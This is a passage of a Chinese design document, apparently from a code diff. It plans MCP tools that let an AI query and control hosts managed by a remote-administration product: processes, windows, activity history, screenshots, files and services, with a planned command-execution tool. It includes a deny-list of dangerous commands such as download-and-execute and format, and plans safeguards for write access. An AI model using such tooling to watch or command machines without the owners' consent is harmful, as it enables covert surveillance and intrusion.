+**每 host 单飞行**：同一 `device_id` 同一时刻只允许一个挂起请求。这是「无请求 id」工具的正确性前提——进程/窗口/历史活动响应都不带请求 id，若同 host 并发两个请求，无法区分响应归属，故并发第二个请求返回「设备忙」（`-32003`）而非串扰。
+
+> 说明：单飞行只约束「MCP 侧同 host 并发」，**不**约束「MCP 与 MFC 对话框并存」——二者各用独立子链接（模式 A′）或各自触发（模式 A），互不占位。详见 §4.2′。
+
+### 4.5 超时与清理（MCP 与 Web 的关键差异）
+
+Web 是长连接，子链接可长驻；MCP 是**一次性 request/response**。因此：
+
+- **超时**：`wait_for(timeout)` 等数据；当前 P2b 用编译期常量 `kMcpToolTimeoutMs = 20000`（暂未接配置，见 §9）。超时返回 JSON-RPC 错误（`-32001`），并清理注册表。
+- **迟到回收（已知边界）**：数据在超时后才到达（`IsPending` 已清）时，拦截分支不成立，响应会**回落到原 MFC 路径**（进程/窗口弹 `WM_OPENSYSTEMDIALOG`，历史活动弹对话框）——属「客户端在 20s 内未响应」这一病态场景的罕见副作用，不会串扰或崩溃。正常路径（<1s 内响应）不受影响。若未来要彻底消除，可给注册表加「超时墓碑 + 宽限期丢弃」。
+- **用完即关**：模式 A′（进程/窗口）拦截后 `CancelIO()` 关一次性子链接；模式 A（主连接 RPC）不关主连接。未来模式 B（终端）收集完 stdout 后主动关子上下文。
+- **阻塞 httplib worker**：`wait_for` 会阻塞 `HandleMcp` 所在的 httplib worker 线程。httplib 默认线程池约 8 线程，阻塞一个 20–30s 会占住一个 worker。MCP 属低频串行调用（AI 逐条调用），**本阶段可接受**；但需在 §12 显式声明，若未来需并发改用「提交任务 + 轮询结果」的异步模型。
+
+---
+
+## 5. 工具路线图（分阶段）
+
+### 5.1 工具总表
+
+> 「模式」标注实现路径（A=主连接 RPC，A′=一次性子链接，A0=主连接单向命令[无响应]，B=子链接流式，—=纯内存）。
+
+| 阶段 | 工具 | 功能 | 复用协议/函数 | 模式 | 风险 |
+|------|------|------|---------------|------|------|
+| P1（已交付） | `list_online_hosts` | 在线主机列表 | `BuildHostJson` | — | 只读 |
+| P2a（已实现并验证） | `search_hosts` | 按名称/IP/分组/OS/在线态过滤 | `list_online_hosts` 内存过滤 | — | 只读 |
+| P2a（已实现并验证） | `get_host_detail` | 单机详情（不含活动历史） | 现成 device 字段（`BuildHostJson`） | — | 只读 |
+| P2b（已实现并验证） | `list_processes` | 主机进程列表 | `COMMAND_SYSTEM`→（子链接）`TOKEN_PSLIST` | **A′** | 只读 |
+| P2b（已实现并验证） | `list_windows` | 主机窗口列表 | `COMMAND_WSLIST`→（子链接）`TOKEN_WSLIST` | **A′** | 只读 |
+| P2b（已实现并验证） | `get_activity_history` | 单机历史活动（文本快照） | `COMMAND_QUERY_ACTIVITY`(159)→`TOKEN_REPORT_ACTIVITY`(160) | **A** | 只读 |
+| P2c（已实现） | `get_screenshot` | 单帧屏幕截图（JPEG） | `COMMAND_SCREEN_PREVIEW_REQ`→`TOKEN_SCREEN_PREVIEW_RSP` | **A** | 只读 |
+| P2c（已实现） | `list_files` | 目录列举 | `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST`（列盘）/ 同子链接再 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST`（列目录） | **A′** | 只读 |
+| P2d（已实现） | `list_services` | Windows 服务列表 | `COMMAND_SERVICES`(218)→（子链接）`TOKEN_SERVERLIST` | **A′** | 只读 |
+| P2d（已实现） | `get_client_log` | 客户端运行日志快照 | `COMMAND_QUERY_LOG`(155)→（子链接）`TOKEN_REPORT_LOG`(156) | **A′** | 只读 |
+| P3 | `exec_command` | 执行命令、返回 stdout | `COMMAND_SHELL`→`TOKEN_SHELL_START`/`TOKEN_SHELL_DATA` | **B** | **写** |
+| P3 | `send_message` | 给被控端弹消息 | `COMMAND_TALK`(220) | **A0** | 写（低危） |
+| P3 | `kill_process` | 结束进程 | `COMMAND_KILLPROCESS` | **A0** | **写** |
+| P4（暂缓） | 实时远程桌面 / 交互终端 | 持续流 | 屏幕/终端子链接 + SSE/轮询 | **B** | 需会话模型 |
+
+### 5.2 Phase 2：只读观测（低风险，无写操作）
+
+全部只读，不改变被控端任何状态，token 模型不变（仍单一静态 token）。P2a 纯内存、零改动；P2b/P2c/P2d 引入模式 A/A′ 无头接管，但只读、可回滚。
+
+### 5.3 Phase 3：安全写操作（需单独评审）
+
+进入 `Mcp_Design.md §1.3` 明确划出的「写操作」区。每个工具交付前需评审三点（见 §8）：命令白名单、审计日志、**分组授权 + token 分级**。
+
+### 5.4 Phase 4：会话/流式（暂缓）
+
+实时远程桌面、交互终端等需要「持续流」的能力，与当前 request/response 模型不匹配。需先决定传输方案（SSE / 提交任务 + 轮询），本期**不做**，避免过早引入复杂会话状态。
+
+---
+
+## 6. 分阶段实施计划
+
+> 每期都给出：改动文件、接口、测试点、回滚方式。原则是**每期可独立合入、独立验收、独立回滚**。
+
+### 6.1 P2a：`search_hosts` + `get_host_detail`（纯内存，零子链接）✅ 已实现并验证
+
+**改动**：仅 `McpServer.cpp`。
+- `BuildToolsListResult` 增两个工具描述 + schema。
+- `BuildToolsCall` 增两个分支，复用 `list_online_hosts` 已遍历出的主机数据做内存过滤/单机抽取（抽出 `CollectOnlineHosts` 收集 + `BuildHostItemSchema` 复用）。
+- 无任何 `MessageHandle`/`WebService`/`context` 改动。
+
+**影响面**：极小，只加不改。**回滚**：revert 单文件即可。
+
+**验收**：`tools/list` 返回 3 个工具；`tools/call search_hosts` 按 filter 正确过滤；`get_host_detail` 对在线主机返回正确字段、对离线/非法 id 返回明确错误。
+
+> **范围修正**：原计划 `get_host_detail` 附带「活动历史」，但活动历史是 `COMMAND_QUERY_ACTIVITY`(159)→`TOKEN_REPORT_ACTIVITY`(160) 的**主连接往返**（客户端上报、服务端不落库），非纯内存字段，违反 P2a「纯内存」约束。故 P2a 的 `get_host_detail` 只返回主机实时字段，活动历史单列为 P2b 的 `get_activity_history`（模式 A）。
+
+### 6.2 P2b：`list_processes` + `list_windows` + `get_activity_history`（模式 A′ / 模式 A，首次无头接管）✅ 已实现并验证
+
+> 本节已按实际实现修订：进程/窗口是**一次性子链接**（模式 A′），历史活动是**主连接 RPC**（模式 A），见 §4.2/§4.2′。
+
+**改动**：
+
+- `McpServer.h/.cpp`：
+  - 加 §4.4 的 `m_Pending` 注册表 + `IsPending`/`TakeMainResponse`/`BeginPending`/`WaitPending`/`ClearPending`，每 host 单飞行检查。
+  - 加解析器 `ParseProcessList`（PID/name/arch/path，按 clientType 编码转 UTF-8）、`ParseWindowList`（hwnd/title/status/pid，标题按能力位解码）；两者都用 `BoundedStrlen` 有界读 + 「空记录 = 尾部零填充」终止，规避客户端 `LocalSize` 对齐引入的尾部零字节。
+  - 加三个工具：`list_processes`（发 `COMMAND_SYSTEM`）、`list_windows`（发 `COMMAND_WSLIST`）、`get_activity_history`（发 `COMMAND_QUERY_ACTIVITY`）。
+- `2015RemoteDlg.cpp` 的 `MessageHandle`：
+  - `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支（子 context）：`if (McpServer().IsPending(devId)) { TakeMainResponse(devId, GetBuffer(0), GetBufferLength()); ContextObject->CancelIO(); break; }`（**在 UI 线程、IO 线程阻塞期间同步拷贝**；用完即关子链接）。
+  - `TOKEN_REPORT_ACTIVITY` 分支（主 context）：`if (McpServer().IsPending(devId)) { TakeMainResponse(...); break; }`（**不 CancelIO**，主连接不可关）。
+
+**影响面**：`MessageHandle` 只新增 `if` 分支，不影响现有 MFC 弹框路径（非 MCP 触发时 `IsPending` 为假，行为不变）。
+
+**验收**：
+- MFC 双击进程/窗口管理弹框仍正常（回归点）；MFC 历史活动对话框仍正常（回归点）。
+- MCP `list_processes` 返回 `[{pid,name,arch,path}]`；`list_windows` 返回 `[{hwnd,title,status,pid}]`；`get_activity_history` 返回 `{records:[...], activityHistory}`（UTF-8 文本，逐行拆记录）。
+- 超时（如对离线主机）返回 `-32001` 而非挂死；同 host 并发第二次调用返回 `-32003`「设备忙」；发送失败返回 `-32004`。
+- 中文进程名/窗口标题无乱码（进程名按 clientType 解码、窗口标题按能力位 UTF-8）。
+
+**验证记录**（2026-08-19，真实在线主机实测）：
+- `list_processes`（Windows 11 主机）：`pid`/`name`/`arch`/`path` 完整；`pid==0` 仅 1 条（合法 `[System Process]`），无尾部零填充空记录——padding 防护生效。
+- `list_windows`：`hwnd`/`title`/`status`/`pid` 完整，无空标题记录；中文标题（「搭建 MCP 架构…」「微信」）UTF-8 正确。
+- `get_activity_history`：返回 `[时间] [标题] 时长` 记录，UTF-8 正确。
+- 错误路径实测：缺 `id` → `-32602`；非数字 `id` → `-32602`；未知/离线主机 → `-32002`；错误 token → HTTP 401。
+- **客户端版本门槛**：`get_activity_history` 依赖客户端 `2026-08-15`（提交 `29929e4`）加入的 `COMMAND_QUERY_ACTIVITY` 处理；更早的客户端（如 `Jul 14 2026`）不识别该命令、无响应，服务端 20s 超时返回 `-32001`——属预期行为，非 bug。测试须选 `Aug 15 2026` 及之后的客户端。
+
+**回滚**：revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 两处 `if` 分支。
+
+### 6.3 P2c：`get_screenshot` + `list_files`（模式 A / A′）✅ 已实现（待实机验证）
+
+> 本节按实际实现修订：`get_screenshot` 是**主连接 RPC**（模式 A，有 reqId 关联）；`list_files` 是**一次性子链接**（模式 A′）——列盘 `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST` 即关，列目录则在 `TOKEN_DRIVE_LIST` 到达时就地同子链接再发 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` 后关链。原设计把 `list_files` 误标为模式 A，已纠正（与 §4.2′ 对进程/窗口的同类纠正一致）。
+
+**`get_screenshot`（屏幕预览链路，主连接 RPC，模式 A）**：
+
+- 复用现有双击预览机制 `COMMAND_SCREEN_PREVIEW_REQ`(247)→`TOKEN_SCREEN_PREVIEW_RSP`(248)（`common/commands.h:416-455`，单帧 JPEG，`ScreenPreviewReq`/`ScreenPreviewRspHeader`），`ctx->Send2Client` 发请求、主连接回响应，**不建子链接、不弹框**。
+- 复用 MFC 预览的 RTT/FRP 自适应参数挑选 `ChooseScreenPreviewParams` + `SendScreenPreviewRequest`，不重复实现 `GetTargetQualityLevel`。
+- **可选 `max_width` 参数**：缺省/0 沿用缩略图档位（最大 1024，4K 源屏高档 1280）；`max_width`>0 覆盖宽度并钳制到客户端上限 `[64,1920]`（客户端 `CaptureAndEncodePreview` 硬钳制），供 AI 视觉/OCR 场景请求接近原分辨率（1080p 源屏传 1920 即原分辨率，4K 源屏最多 1920）。`jpegQuality` 仍沿用档位自适应值。
+- **请求关联**：`ScreenPreviewReq.reqId` 提供关联；MCP 用独立 16 位 reqId 发生器（`NextPreviewReqId`，跳过 0）+ `SetPendingReqId` 登记期望值，`TakePreviewResponse` 只接受「挂起命中 + reqId 一致」的响应，过期/他途（MFC 预览并发）响应原样回落到 MFC 路径。
+- 客户端能力位 `CLIENT_CAP_SCREEN_PREVIEW`(0x0004，仅 Windows 客户端声明)：非 Windows 主机返回 `-32005`「不支持」。
+- 返回结构：`content[0] = {type:"image", data: base64(JPEG), mimeType:"image/jpeg"}` + `structuredContent.image = {mimeType,width,height,bytes}`（元数据，不含 base64，避免二次膨胀）。
+
+**`list_files`（文件链路，一次性子链接，模式 A′）**：
+
+- 复用经典文件链路 `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST` 与 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST`。**明确范围**：本阶段只做经典链路；项目另有 `COMMAND_GET_FOLDER`(66)、插件版 `TOKEN_DRIVE_LIST_PLUGIN`(150)、V2 文件传输，均列为非目标。
+- **两种调用形态**：
+  - `path` 缺省/空（或 `.`/`/`/`\`）→ 只列盘：`COMMAND_LIST_DRIVE` 开子链接，`TOKEN_DRIVE_LIST` 到达即取走盘列表并关链（与进程/窗口同构的 A′）。
+  - `path` 指定目录 → 列目录：`TOKEN_DRIVE_LIST` 到达时 `OnDriveList` 就地同子链接下发 `COMMAND_LIST_FILES`+`path`（`BuildListFiles` 已按客户端 ANSI 转好，`OnDriveList` 不再转），等 `TOKEN_FILE_LIST` 取走并关链。
+- **编码**：盘符类型名/文件系统、文件名、`path` 均按 **clientType** 判定（与进程名/路径一致）：Windows 走 A 接口（`FindFirstFileA`/`GetLogicalDriveStringsA`/`SHGetFileInfoA` 等）= 客户端 ANSI(GBK/936)；LNX/MAC 文件系统天然 UTF-8。**不能用 `GetClientEncoding`**——它按能力位返回 CP_UTF8，会误解声明 `CLIENT_CAP_UTF8` 的 Windows 客户端（其文件名实为 GBK）。解析用 `ToUtf8(buf, cp)`、下发用 `ToAnsi(path, cp)`，`cp = (clientType=="LNX"||"MAC") ? CP_UTF8 : 936`。
+- **大列表保护**：`ParseFileList(data, 500, cp)` 条目上限 500，避免 JSON 响应过大。
+- 返回结构：列盘 → `structuredContent.drives[]`；列目录 → `structuredContent.files[]`（`{name,isDir,size,mtime}`，mtime 为 Unix 秒）。
+
+**改动**：
+
+- `McpServer.h/.cpp`：
+  - 挂起注册表扩展：`PendingRequest` 增 `path`、`expectedReqId` 字段；`BeginPending(devId, tool, path)` 重载，新增 `NextPreviewReqId`/`SetPendingReqId`/`TakePreviewResponse`/`OnDriveList` 四方法。
+  - 解析器：`ParseDriveList`（`[letter][type][totalMB:4][freeMB:4][typeName\0][fileSystem\0]`，`letter=='\0'` 终止）、`ParseFileList`（`[attr][filename\0][sizeHigh:4][sizeLow:4][ft:8]`，空记录/上限 500 终止）。
+  - 工具：`get_screenshot`（模式 A）、`list_files`（模式 A′），注册 schema（`get_screenshot` 无 inputSchema、`list_files` 带可选 `path`）。
+- `2015RemoteDlg.cpp` 的 `MessageHandle`（三处拦截）：
+  - `TOKEN_SCREEN_PREVIEW_RSP`（主 context）：`TakePreviewResponse(devId, reqId, szBuffer, len)` 命中则 break（**不 CancelIO**，主连接不可关）。
+  - `TOKEN_DRIVE_LIST`（子 context）：`if (IsPending) { OnDriveList(...) ? CancelIO() : /*继续等*/ break; }`（列盘关链、列目录不关）。
+  - `TOKEN_FILE_LIST`（子 context，**新增 case**）：`if (IsPending) TakeMainResponse(...); CancelIO();`（无论命中都关孤儿子链接，防泄漏）。
+
+**影响面**：`MessageHandle` 仅新增 `if` 分支与一个 `TOKEN_FILE_LIST` case；非 MCP 触发时 `IsPending` 为假、`TOKEN_FILE_LIST` case 在 MFC 路径下因 `hDlg` 接管根本不进 `MessageHandle`，现有 MFC 文件管理/屏幕预览弹框路径不变。
+
+**验收 / 实机验证点（待构建后执行）**：
+- MFC 双击文件管理弹框仍正常（回归点）；MFC 双击预览缩略图仍正常（回归点）。
+- MCP `get_screenshot` 返回 JPEG（base64 + 元数据），Windows 主机正常；非 Windows 主机（或未声明 `CLIENT_CAP_SCREEN_PREVIEW`）返回 `-32005`。
+- MCP `list_files`（无 `path`）返回 `drives[]`；`list_files(path="C:\\")` 返回 `files[]`（含目录/文件/大小/mtime），中文文件名无乱码；条目 >500 时截断为 500。
+- 错误路径：缺 `id`/非数字 `id` → `-32602`；未知/离线主机 → `-32002`；同 host 并发 → `-32003`；发送失败 → `-32004`；超时 → `-32001`。
+
+**回滚**：revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 三处拦截。
+
+### 6.4 P2d：`list_services` + `get_client_log`（模式 A′，只读感知扩展）✅ 已实现并验证
+
+> 本期新增两个**只读**感知工具，均走**一次性子链接**（模式 A′），复用 §4.4 挂起注册表，无新增机制、无写操作。二者与 P2b 的进程/窗口、P2c 的列盘同构：主连接下发命令 → 客户端建子链接回传 → 取走即 `CancelIO`。
+
+**`list_services`（服务管理链路，一次性子链接，仅 Windows）**：
+
+- 复用经典服务链路 `COMMAND_SERVICES`(218)→`TOKEN_SERVERLIST`。客户端 `KernelManager::OnReceive` 收到 `COMMAND_SERVICES` 建子链接 `LoopServicesManager`，`CServicesManager` **构造函数即** `SendServicesList()`（无需再下 `COMMAND_SERVICELIST` 刷新命令），在子链接上一次性回传 `TOKEN_SERVERLIST`。
+- **记录格式**（`ServicesManager.cpp::GetServicesList`）：`[TOKEN_SERVERLIST:1]` 后接 N 条 `[displayName\0][serviceName\0][binaryPath\0][runWay\0][autoRun\0]`，尾部 `LocalAlloc(LPTR)` 零填充终止。**字段顺序以代码为准**（`displayName` 在前、`serviceName` 在后；源码注释「真实名称/显示名称」标注相反，勿据注释判断）。`runWay`/`autoRun` 为英文枚举串（`Stopped/Running/Paused/…`、`Boot-Start/Auto-Start/Demand-Start/Disabled/…`）。
+- **编码**：字段全部来自 Windows A 接口（`EnumServicesStatus`/`QueryServiceConfig` 返回 ANSI），按 clientType 判定 `cp`（与进程/文件一致）；仅 Windows 客户端实现（`EnumServicesStatus` 为 Windows-only），LNX/MAC 主机提前返回 `-32005`。
+- 返回结构：`structuredContent.services[] = {display_name, service_name, binary_path, status, start_type}`。
+
+**`get_client_log`（客户端运行日志，一次性子链接取首条全量）**：
+
+- 复用经典日志链路 `COMMAND_QUERY_LOG`(155)→`TOKEN_REPORT_LOG`(156)。客户端 `KernelManager::OnReceive` 收到 `COMMAND_QUERY_LOG` 建子链接 `LoopClientLogManager`，`CClientLogManager` 构造函数 `SendLogDump()`（`m_sentIdx=0` 返回**全量**），并启动 push 线程**每 3s 推增量**。
+- **关键语义**：`TOKEN_REPORT_LOG` 会**多次**到达（全量 + 每 3s 增量）。MCP 只取**首条全量**：`MessageHandle` 在 `IsPending` 命中时 `TakeMainResponse` 后立即 `CancelIO` 关子链接，后续增量不再到达（与 MFC 日志对话框「持续接收增量、不关链」的路径区分）。
+- **日志内容**：YAMA 客户端**自身运行时日志**（`Logger` 内存 ring buffer，最近最多 1000 条，含 `[pid][时间戳] [文件:行号] 消息`），**非** Windows 系统日志。
+- **编码**：日志文本为客户端 ANSI（Windows 走 `vsnprintf` A 版），按 clientType 判定 `cp`；`data[0]=token` 后为无 `'\0'` 终止的原始字节，需先 `std::string` 包装再 `ToUtf8`（`ToUtf8` 内部以 `-1` 读 null 终止串）。
+- 返回结构：`structuredContent.log = "<原始日志文本>"`。
+
+**改动**：
+
+- `McpServer.h/.cpp`：
+  - 解析器 `ParseServiceList`（5 字段记录，有界读 + 「displayName 与 serviceName 皆空 = 尾部零填充」终止）。
+  - schema `BuildServiceListOutputSchema` / `BuildClientLogOutputSchema`（inputSchema 复用 `BuildGetHostDetailInputSchema` 的 `{ id }`）。
+  - 工具 `BuildListServices`（发 `COMMAND_SERVICES`，LNX/MAC 提前 `-32005`）、`BuildGetClientLog`（发 `COMMAND_QUERY_LOG`）。
+- `2015RemoteDlg.cpp` 的 `MessageHandle`（两处拦截）：
+  - `TOKEN_SERVERLIST`（子 context）：`if (IsPending) { TakeMainResponse; CancelIO(); break; }`（一次性，取走即关）。
+  - `TOKEN_REPORT_LOG`（子 context）：`if (IsPending) { TakeMainResponse; CancelIO(); break; }`（取首条全量即关，停止 3s 增量）。
+
+**影响面**：`MessageHandle` 仅新增两个 `if` 分支；非 MCP 触发时 `IsPending` 为假，MFC 服务管理弹框与日志对话框路径不变（回归点）。
+
+**验收 / 实机验证点**：
+- MFC 双击「服务管理」弹框仍正常（回归点）；MFC 打开「客户端运行日志」对话框仍正常、增量持续追加（回归点）。
+- MCP `list_services` 对 Windows 主机返回 `services[]`，中文显示名/路径无乱码，`status`/`start_type` 为英文枚举；对 LNX/MAC 主机返回 `-32005`。
+- MCP `get_client_log` 返回 `log` 文本快照（UTF-8），中文日志无乱码；空日志返回空 `log`。
+- 错误路径：缺 `id`/非数字 `id` → `-32602`；未知/离线主机 → `-32002`；同 host 并发 → `-32003`；发送失败 → `-32004`；超时 → `-32001`。
+
+**验证记录**（2026-08-19，真实在线主机实测）：
+- `list_services`（Windows 11 EXE 主机「Essential / VCU」）：返回 255 个服务，字段序（显示名→服务名→路径→状态→启动类型）正确，`status`/`start_type` 英文枚举、路径完整。
+- `get_client_log`（同上主机）：返回 510 行 / 40309 字节全量快照，`[pid][时间戳][文件:行号]` 格式正确，中文日志（「启动运行」「任务已存在」「打开注册表失败，错误码：2」等）GBK→UTF-8 转码全部正确。
+- 错误路径实测：LNX 主机 `list_services` → `-32005`；缺/非法 `id` → `-32602`；离线 → `-32002`。
+- **客户端版本门槛**：`get_client_log` 对 Linux 客户端 20s 超时返回 `-32001`——当前 Linux 客户端运行版本未实现 `COMMAND_QUERY_LOG`→`CClientLogManager` 日志回传链路（服务端下发命令无响应），属版本/实现门槛，非 MCP 缺陷（与 §6.2 `get_activity_history` 对老客户端超时同类）。`list_services` 因服务为 Windows-only（`EnumServicesStatus`），已对 LNX/MAC 提前 `-32005`，不受此门槛影响。
+
+**回滚**：revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 两处拦截。
+
+### 6.5 P3a：`exec_command`（模式 B，写操作，评审后实施）
+
+**改动**：复刻 Web 终端链路（§4.3），把 `m_TermPending` 换成 MCP 自己的挂起标记：
+- 下 `COMMAND_SHELL` → `TOKEN_SHELL_START`/`TOKEN_SHELL_DATA` 接管 → 发送命令文本 → 收集 stdout → 关子链接 → 返回。
+
+**完成判据（本工具最难的半截，必须定死）**：交互 shell 没有「命令结束」信号，采用**哨兵方案**：
+
+```
+实际下发: cmd ; echo __MCP_DONE_<nonce>__ ; echo __MCP_EXIT_$?__
+收集端:   持续累积 TOKEN_SHELL_DATA，直到同时匹配 __MCP_DONE_<nonce>__ 与 __MCP_EXIT_<code>__
+          取出退出码，剥离哨兵行，返回 stdout
+```
+
+`<nonce>` 随机，避免命令自身输出误命中哨兵；整体受 `McpToolTimeoutMs` 兜底（超时强制关链 + 返回错误）。
+
+**前置安全评审**（见 §8）通过后才实施。
+
+**验收**：`exec_command(id, "tasklist")` 返回进程列表文本 + 退出码；白名单外命令被拒绝并审计；超时/离线返回明确错误；MFC 终端弹框不受影响。
+
+---
+
+## 7. 「新增工具」标准配方（可复用流程）
+
+后续任何人新增一个工具，按以下 6 步走：
+
+1. **定协议与模式**：确认复用哪个 `COMMAND_*`→`TOKEN_*` 链路，判定是模式 A（主连接 RPC）、A0（单向命令）还是 B（子链接流式），写进 §5.1 表格。
+2. **定 schema**：在 `BuildToolsListResult` 注册 `name`/`description`/`inputSchema`/`outputSchema`（description 用 `u8"..."`，见 §10）。
+3. **加 dispatch**：在 `BuildToolsCall` 里加一个 `toolName == "..."` 分支。
+4. **实现数据通路**：
+   - 纯内存/现成字段 → 直接实现，不进 `MessageHandle`。
+   - 模式 A0（单向命令）→ 直接 `Send2Client` 后返回，无需挂起/超时。
+   - 模式 A → 加 `m_Pending` 挂起 + `MessageHandle` 对应 `TOKEN_*` 加 `if (IsPending) TakeMainResponse`（IO 线程同步拷贝，**不 CancelIO**）。
+   - 模式 A′ → 同模式 A，但拦截后额外 `ContextObject->CancelIO()` 关一次性子链接。
+   - 模式 B → 加 `m_Pending` 挂起 + `MessageHandle` 对应 `TOKEN_*` 加 `if (IsPending) TakeSubContext` + `OnShellData` 泵数据。
+5. **超时与清理**：带超时、迟到回收、用完即关（模式 B）；每 host 单飞行（§4.5）。
+6. **验收与回滚**：写 §11 的 DoD 清单，确认回归点（对应 MFC 弹框路径不变）。
+
+---
+
+## 8. 安全与权限模型演进
+
+| 阶段 | 鉴权 | 授权 |
+|------|------|------|
+| P1/P2 | 单一静态 Bearer token | 全部只读，token 即授权 |
+| P3 | 引入 **token 分级 + 分组授权** | 只读 token / 完整 token 两档；写操作要求完整 token 且限定可访问分组 |
+| P4 | （如需）会话级授权 | 会话内临时授权 |
+
+**P3 进入前必须评审的三条边界：**
+
+1. **命令白名单**：`exec_command` 默认只放行只读命令（`systeminfo`/`tasklist`/`ipconfig`/`netstat` 等）；危险命令（`del`/`format`/下载执行/`reg add`）需显式放行或直接拒绝。
+2. **审计日志**：每次写操作记录 `host_id + tool + 参数 + token 来源（env/CFG）+ 时间`，写 `Mprintf` + 日志文件。
+3. **分组授权（新增）**：写工具必须限定「token 能操作哪些主机/分组」，**复用 Web 远程桌面已有的 `WebUser.allowed_groups` + admin/viewer 角色模型**（`WebService.cpp:1852-1877`），而非仅区分读/写。否则一个完整 token 就能对**所有**主机执行命令，越过了 Web 侧已有的分组隔离。
+
+> 设计底线：MCP 的写能力与 Web 远程桌面同等级敏感，任何写工具都要按「可控、可审、可关、可分组隔离」交付，不允许「开了 MCP 就能无脑执行任意命令」。
+
+---
+
+## 9. 配置与开关扩展
+
+延续 Phase 1 的配置风格（`settings` 段 + env 覆盖 + `UIBranding` 开关）：
+
+> **配置存储位置（重要）**：`THIS_CFG` 在 **Release 版恒走注册表** `HKCU\Software\YAMA\settings`（`2015Remote.cpp:238` 的 `#else` 分支 `new iniFile`）；`settings.ini` 仅在 **Debug 版**（`#ifdef _DEBUG` 且 `GetPwdHash()==masterHash`）才读，否则同样走注册表。故 Release 版改 MCP 配置应走「扩展 → MCP设置」对话框（写注册表）或直接改注册表，手改 `settings.ini` 对 Release 无效。
+
+| 配置键 | 默认 | 说明 |
+|--------|------|------|
+| `McpEnabled` | 0 | 总开关（已有） |
+| `McpPort` | 6544 | 端口（已有） |
+| `McpBind` | 127.0.0.1 | 绑定（已有） |
+| `McpToken` | 空 | 静态 token（已有） |
+| `McpReadonly` | 1 | **P3 新增**：1=仅只读工具，0=开放写工具（配合完整 token） |
+| `McpCmdWhitelist` | 内置只读命令集 | **P3 新增**：`exec_command` 白名单（分号分隔） |
+| `McpToolTimeoutMs` | 20000 | **P2b 新增**：数据等待超时（当前为 `McpServer.cpp` 内编译期常量 `kMcpToolTimeoutMs`，未接配置） |
+
+新增写能力时，`UIBranding.h`/`FeatureFlags.h` 加对应隐藏/特性位，保持「品牌定制可裁剪」的既有约定。
+
+---
+
+## 10. 编码 / 兼容性规范
+
+- **UTF-8 输出**：所有进入 JSON 的字符串用 `u8"..."` 前缀（项目 `/execution-charset:.936` 会把普通窄字面量编成 GBK）。已在 `list_online_hosts` 的 `description` 中验证，服务端输出正确 UTF-8。
+- **JSON 转义**：jsoncpp 会把非 ASCII 输出为 `\uXXXX`，这是合法 JSON，客户端解析即还原，无需处理。
+- **客户端能力位**：依赖客户端能力的工具（如 `get_screenshot` 的 `CLIENT_CAP_SCREEN_PREVIEW`、UTF-8 字段的 `CLIENT_CAP_UTF8`）必须先查能力位，不支持则返回明确错误而非空结果。
+- **id 一致性**：工具入参 `id` 必须与 `list_online_hosts` 返回的 `id` 同源（`context::GetClientID()` 的 uint64），可直接回填 `FindHost(uint64_t)`；仅接受**在线**主机的 id，离线返回明确错误。
+- **版本兼容**：子链接命令/结构体（`common/commands.h`）**禁止改动既有字段**；MCP 只消费既有协议，不新增命令（原则 2）。
+- **MBCS 构建**：新增 UI 文案走 `_TR()` + lang ini（GBK），与 Phase 1 一致。
+
+---
+
+## 11. 验收标准（Definition of Done）
+
+每个工具交付时，以下全部满足才算完成：
+
+- [ ] `tools/list` 返回该工具及完整 schema。
+- [ ] 正常输入返回正确结构化结果。
+- [ ] 非法输入（错 id / 缺参数 / 设备离线 / 不支持能力）返回**明确的 JSON-RPC 错误码**，不崩溃、不挂死。
+- [ ] 数据获取有超时、迟到回收；模式 B 用完即关（无会话泄漏）。
+- [ ] 每 host 单飞行：同 host 并发请求被拒绝而非串扰。
+- [ ] **回归点**：对应 MFC 弹框/Web 路径行为不变（非 MCP 触发时不受影响）。
+- [ ] 编码正确（UTF-8，中文无乱码）。
+- [ ] 写操作工具附带白名单/审计/分组授权（仅 P3）。
+- [ ] 无新增第三方库。
+
+---
+
+## 12. 风险与回滚
+
+| 风险 | 缓解 |
+|------|------|
+| 无头接管串扰 MFC/Web 路径 | 挂起标记按 `device_id` 唯一；`if (IsPending)` 仅在 MCP 触发时成立，其余路径原样 |
+| 共享 `InDeCompressedBuffer` 被覆盖 | 模式 A 在 IO 线程 `MessageHandle` 内同步拷贝，不等异步 |
+| 无请求 id 的工具响应串扰 | 每 host 单飞行（§4.4）；MCP 与 MFC 各用独立子链接，互不占位（§4.2′） |
+| 阻塞 httplib worker 饿死后续请求 | 低频串行可接受；文档显式声明，未来并发改「任务+轮询」（§4.5） |
+| 超时/挂死 | 所有工具强制 `wait_for(timeout)` + 迟到回收 |
+| 写操作越权 | P3 前三道评审边界（白名单/审计/分组授权）+ `McpReadonly` 默认 1 |
+| 一次性大改影响现有功能 | 分 P2a→P2b→P2c→P3a 四期，每期独立合入/验收/回滚 |
+| 输出过大拖垮 JSON | `list_files`/进程列表等大结果设上限/分页 |
+
+**回滚策略**：每期改动集中在一两个文件（`McpServer.*` + 可选 `MessageHandle` 若干 `if` 分支），出错 revert 当期 commit 即可，不影响已交付的 P1。
+
+---
+
+## 附：建议执行顺序
+
+1. **P2a**（`search_hosts` + `get_host_detail`）✅ ——纯内存、零风险，已实现，验证「多工具 dispatch」模式。
+2. **P2b**（`list_processes` + `list_windows` + `get_activity_history`）✅ ——首次引入**模式 A′ 一次性子链接**（进程/窗口）与**模式 A 主连接 RPC**（历史活动）无头接管，把 §4.2/§4.2′ 的机制跑通并沉淀成 §7 配方。
+3. **P2c**（`get_screenshot` 走屏幕预览链路 + `list_files`）✅ ——补上「看」的能力，仍是只读（`get_screenshot` 模式 A、`list_files` 模式 A′）。
+4. **P2d**（`list_services` + `get_client_log`）✅ ——补上「看服务 / 看日志」的感知能力，仍是只读（均为模式 A′，复用 P2b/P2c 的一次性子链接机制）。
+5. **P3a**（`exec_command`）——首次引入**模式 B 子链接流式**，在 P2 的挂起机制成熟后，走完安全评审再落地写操作。
+
+每完成一期即提交、验收，再进入下一期，保持「有序、平稳、循序渐进」。

docs/Mcp_RemoteControl_Design.md

@@ -0,0 +1,484 @@
+# MCP 远程控制（Remote Control）设计文档
+
